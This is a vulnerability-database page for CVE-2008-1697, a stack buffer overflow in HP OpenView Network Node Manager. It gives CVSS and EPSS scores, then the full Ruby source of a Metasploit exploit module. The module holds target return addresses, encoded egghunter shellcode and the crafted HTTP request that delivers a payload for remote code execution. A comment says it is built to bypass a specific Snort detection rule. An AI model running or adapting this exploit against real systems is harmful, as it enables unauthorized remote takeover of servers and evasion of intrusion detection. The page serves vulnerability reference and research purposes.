CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Stack-based buffer overflow in ovwparser.dll in HP OpenView Network Node Manager (OV NNM) 7.53, 7.51, and earlier allows remote attackers to execute arbitrary code via a long URI in an HTTP request processed by ovas.exe, as demonstrated by a certain topology/homeBaseView request. NOTE: some of these details are obtained from third party information.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
87.16%
–
–
2023-03-12
–
–
–
96.72%
–
2023-03-19
–
–
–
96.36%
–
2023-04-23
–
–
–
96.28%
–
2023-06-04
–
–
–
95.98%
–
2023-07-09
–
–
–
95.57%
–
2023-08-06
–
–
–
95.05%
–
2023-09-17
–
–
–
95.46%
–
2023-12-31
–
–
–
95.57%
–
2024-06-02
–
–
–
95.57%
–
2024-06-02
–
–
–
95.57%
–
2024-09-15
–
–
–
94.98%
–
2024-12-08
–
–
–
95.13%
–
2024-12-22
–
–
–
93.65%
–
2025-01-05
–
–
–
93.42%
–
2025-01-19
–
–
–
93.42%
–
2025-03-18
–
–
–
–
80.88%
2025-03-30
–
–
–
–
81.72%
2025-04-08
–
–
–
–
82.25%
2025-05-01
–
–
–
–
83.45%
2025-05-01
–
–
–
–
83.45,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# $Id: hp_nnm_ovas.rb 10660 2010-10-12 18:39:21Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# This should bypass the following snort rule referenced from web-misc.rules (10/17/2008)
# alert tcp $EXTERNAL_NET any -> $HOME_NET 7510 (msg:"WEB-MISC HP OpenView Network Node Manager HTTP handling buffer overflow attempt"; flow:to_server,established; content:"GET "; depth:4; nocase; isdataat:165,relative; content:"/topology/homeBaseView"; pcre:"/GET\s+\w[^\x0a\x20]{165}/i"; metadata:policy balanced-ips drop, policy security-ips drop; reference:bugtraq,28569; reference:cve,2008-1697; classtype:attempted-admin; sid:13715; rev:3;)
# Newer versions of this rule might find this but we've taken steps to atleast bypass this rule
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
# =( need more targets and perhaps more OS specific return values OS specific would be preferred
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'HP OpenView NNM 7.53, 7.51 OVAS.EXE Pre-Authentication Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in HP OpenView Network Node Manager versions 7.53 and earlier.
Specifically this vulnerability is caused by a failure to properly handle user supplied input within the
HTTP request including headers and the actual URL GET request.
Exploitation is tricky due to character restrictions. It was necessary to utilize a egghunter shellcode
which was alphanumeric encoded by muts in the original exploit.
If you plan on using exploit this for a remote shell, you will likely want to migrate to a different process
as soon as possible. Any connections get reset after a short period of time. This is probably some timeout
handling code that causes this.
},
'Author' =>
[
'bannedit',
# muts wrote the original exploit and did most of the initial work
# credit where credit is due. =)
'muts'
],
'Version' => '$Revision: 10660 $',
'References' =>
[
[ 'CVE', '2008-1697' ],
[ 'OSVDB', '43992' ],
[ 'BID', '28569' ],
],
'DefaultOptions' =>
{
'WfsDelay' => 45,
'EXITFUNC' => 'thread',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x0a\x0d\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Privileged' => true,
'Targets' =>
[
# need more but this will likely cover most cases
[ 'Automatic Targeting',
{
'auto' => true
}
],
[ 'Windows 2003/zip.dll OpenView 7.53',
{
'Ret' => 0x6d633757 # pop pop ret
}
],
[ 'Windows 2000/jvm.dll OpenView NNM 7.51',
{
'Ret' => 0x6d356c6e # pop pop ret
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 02 2008'))
register_options(
[
Opt::RPORT(7510),
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request", 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SIMBAR={7DB0F6DE-8DE7-4841-9084-28FA914B0F2E}; SLCC1; .N' ])
], self.class)
end
def exploit
targ = target
if (target['auto'])
print_status("Detecting the remote version...")
resp = send_request_raw({'uri' => '/topology/home'}, 5)
if resp.nil?
print_status("No response to request")
return Exploit::CheckCode::Safe
end
case resp.body
when /NNM Release B.07.53/
targ = targets[1]
when /NNM Release B.07.51/
targ = targets[2]
else
raise RuntimeError, "Unable to determine a target automatically..."
# if snmp is running you could set the target based on community strings
end
end
print_status("Using target: #{targ.name}")
exploit_target(targ)
end
def exploit_target(targ)
# we have to use an egghunter in this case because of the restrictions
# on the characters we can use.
# we are using skape's egghunter alpha numeric encoded by muts
egghunter =
'%JMNU%521*TX-1MUU-1KUU-5QUUP\AA%J'+
'MNU%521*-!UUU-!TUU-IoUmPAA%JMNU%5'+
'21*-q!au-q!au-oGSePAA%JMNU%521*-D'+
'A~X-D4~X-H3xTPAA%JMNU%521*-qz1E-1'+
'z1E-oRHEPAA%JMNU%521*-3s1--331--^'+
'TC1PAA%JMNU%521*-E1wE-E1GE-tEtFPA'+
'A%JMNU%521*-R222-1111-nZJ2PAA%JMN'+
'U%521*-1-wD-1-wD-8$GwP'
print_status("Constructing the malformed http request")
buf = "http://"
buf << "\xeb" * 1101 # this gets mangled in such a way we can use less input
buf << "\x41" * 4 # sometimes less really is more
buf << "\x77\x21" # \xeb is restricted so we use a conditional jump which is always taken
buf << [targ.ret].pack('V')
buf << "G" * 32
buf << egghunter
buf << "\x41" * 100
buf << ":#{datastore['RPORT']}"
# T00W is the egg
payload_buf = "T00WT00W" + make_nops(34) + "\x83\xc4\x03" + payload.encoded
begin
connect
resp = send_request_raw({
'uri' => buf + "/topology/home",
'version' => '1.1',
'method' => 'GET',
'headers' =>
{
'Content-Type' => 'application/x-www-form-urlencoded',
'User-Agent' => datastore['UserAgent'],
},
'data' => payload_buf
})
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Errno::EINTR
# do nothing let the exploit live this catches the
# connection reset by peer error which is expected
end
if not resp.nil?
raise RuntimeError, "The server responded, that wasn't supposed to happen!"
end
print_status("Malformed http request sent.")
print_status("Now we wait for the egg hunter to work it's magic. thx skape!")
handler
disconnect
end
def check
resp = send_request_raw({'uri' => '/topology/home'}, 5)
if resp.nil?
print_status("No response to request")
return Exploit::CheckCode::Safe
end
if (resp.body =~ /NNM Release B.07.53/ || resp.body =~ /NNM Release B.07.52/ || resp.body =~ /NNM Release B.07.51/)
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
end
Products Mentioned
Configuraton 0
Hp>>Openview_network_node_manager >> Version To (including) 7.53